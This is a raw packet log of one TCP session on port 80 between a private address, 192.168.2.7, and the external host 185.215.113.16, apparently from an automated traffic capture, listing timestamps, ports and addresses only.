Dec 19, 2024 08:35:36.469307899 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.469578028 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.469624996 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.469636917 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.469650984 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.469664097 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.469670057 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.469696045 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.472234964 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.472923994 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.472980976 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.473244905 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.473332882 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.474035978 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.474049091 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.474061966 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.474075079 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.474085093 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.474118948 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.474162102 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.474493980 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.474627018 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.475327015 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.475541115 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.475589991 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.476450920 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.476702929 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.476752996 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.477603912 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.477844954 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.477900028 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.478693962 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.524723053 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.546962976 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.568644047 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.611556053 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.611788988 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.611843109 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.612252951 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.612732887 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.612824917 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.613408089 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.613774061 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.613816977 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.614377975 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.614653111 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.614797115 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.615562916 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.615802050 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.615863085 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.616662025 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.616981983 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.617566109 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.617881060 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.618109941 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.618158102 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.618937969 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.619162083 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.620058060 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.620354891 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.620551109 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.621402979 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.621454000 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.621565104 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.621609926 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.622484922 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.622749090 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.622807026 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.623719931 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.623985052 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.624692917 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.624803066 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.624932051 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.624974966 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.625758886 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.626099110 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.626137972 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.626950026 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.627341986 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.627481937 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.628001928 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.628282070 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.628329039 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.629085064 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.629355907 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.629430056 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.630244970 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.630503893 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.630565882 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.631370068 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.631642103 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.631793976 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.632518053 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.632805109 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.632855892 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.633745909 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.633939028 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.634020090 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.634804010 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.635055065 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.635102987 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.635927916 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.636198044 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.636276960 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.637130022 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.637387991 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.638215065 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.638267994 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.638448000 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.639343977 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.639391899 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.639569044 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.639611959 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.640531063 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.640727997 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.640774012 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.641648054 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.641865969 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.641911983 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.642728090 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.642997980 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.643203020 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.643906116 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.644119024 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.644579887 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.644996881 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.645255089 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.645296097 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.646131992 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.646387100 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.646431923 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.647281885 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.647531033 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.647618055 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.648403883 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.648657084 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.648699045 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.649533987 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.649792910 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.649843931 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.650671959 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.650957108 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.650998116 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.651829958 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.652055025 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.652098894 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.652930975 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.653182030 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.653229952 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.654081106 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.654432058 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.654476881 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.655249119 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.655456066 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.655915976 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.656341076 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.656605959 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.656650066 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.657484055 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.657785892 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.658585072 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.658627033 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.659557104 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.659615040 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.659723997 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.660012960 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.660965919 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.661015034 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.661197901 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.661314011 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.662117958 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.662308931 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.662832975 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.663141966 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.663395882 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.663445950 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.664271116 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.664536953 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.664587021 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.665410042 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.665677071 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.665719986 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.666572094 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.666856050 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.666898966 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.667675972 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.667922974 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.667993069 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.668839931 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.669074059 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.669131994 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.669945955 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.670205116 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.670552015 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.671103001 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.712146044 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.740180016 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.754595995 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.803998947 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.804311991 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.804399014 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.804747105 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.805005074 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.805063963 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.805301905 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.805794001 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.805871964 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.806370974 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.806693077 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.806760073 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.807518005 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.807765961 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.807822943 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.808607101 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.808933020 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.809762001 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.809818983 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.809989929 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.810719013 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.810873985 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.811124086 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.811168909 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.812087059 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.812271118 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.812321901 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.813250065 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.813458920 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.813519001 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.814397097 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.814770937 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.814831018 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.815449953 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.815674067 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.815856934 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.816653013 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.816848040 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.816890955 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.817725897 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.817951918 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.818027020 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.818851948 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.819207907 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.819261074 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.820172071 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.820357084 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.820403099 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.821294069 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.821599960 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.821651936 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.822432995 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.822705030 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.822750092 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.823442936 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.823637009 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.823681116 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.824496984 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.824759007 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.824805975 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.825762033 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.826164007 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.826318026 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.826894999 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.827128887 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.827177048 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.828268051 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.828655958 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.828809977 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.829421043 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.829678059 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.829727888 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.830482960 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.830754995 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.830801964 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.831665039 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.831823111 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.831871986 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.832623959 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.832848072 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.832890987 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.833740950 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.833987951 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.834031105 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.834832907 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.835124969 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.835165977 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.836039066 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.836301088 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.836527109 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.837256908 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.837486982 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.837800980 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.838340998 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.838563919 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.838646889 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.839449883 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.839607000 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.839811087 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.840436935 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.840802908 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.840846062 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.841500998 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.841764927 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.841814041 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.842675924 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.842911959 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.842961073 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.843744040 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.844229937 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.844361067 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.845000029 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.845263004 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.845309973 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.846088886 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.846311092 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.846360922 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.847212076 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.847441912 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.847489119 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.848371029 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.848619938 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.848665953 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.849445105 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.849715948 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.849761963 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.850809097 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.850971937 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.851066113 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.851759911 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.852024078 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.852078915 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.852858067 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.853136063 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.853189945 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.854002953 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.854238033 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.854290009 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.855117083 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.855365038 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:36.855851889 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:36.856245041 CET	80	49747	185.215.113.16	192.168.2.7
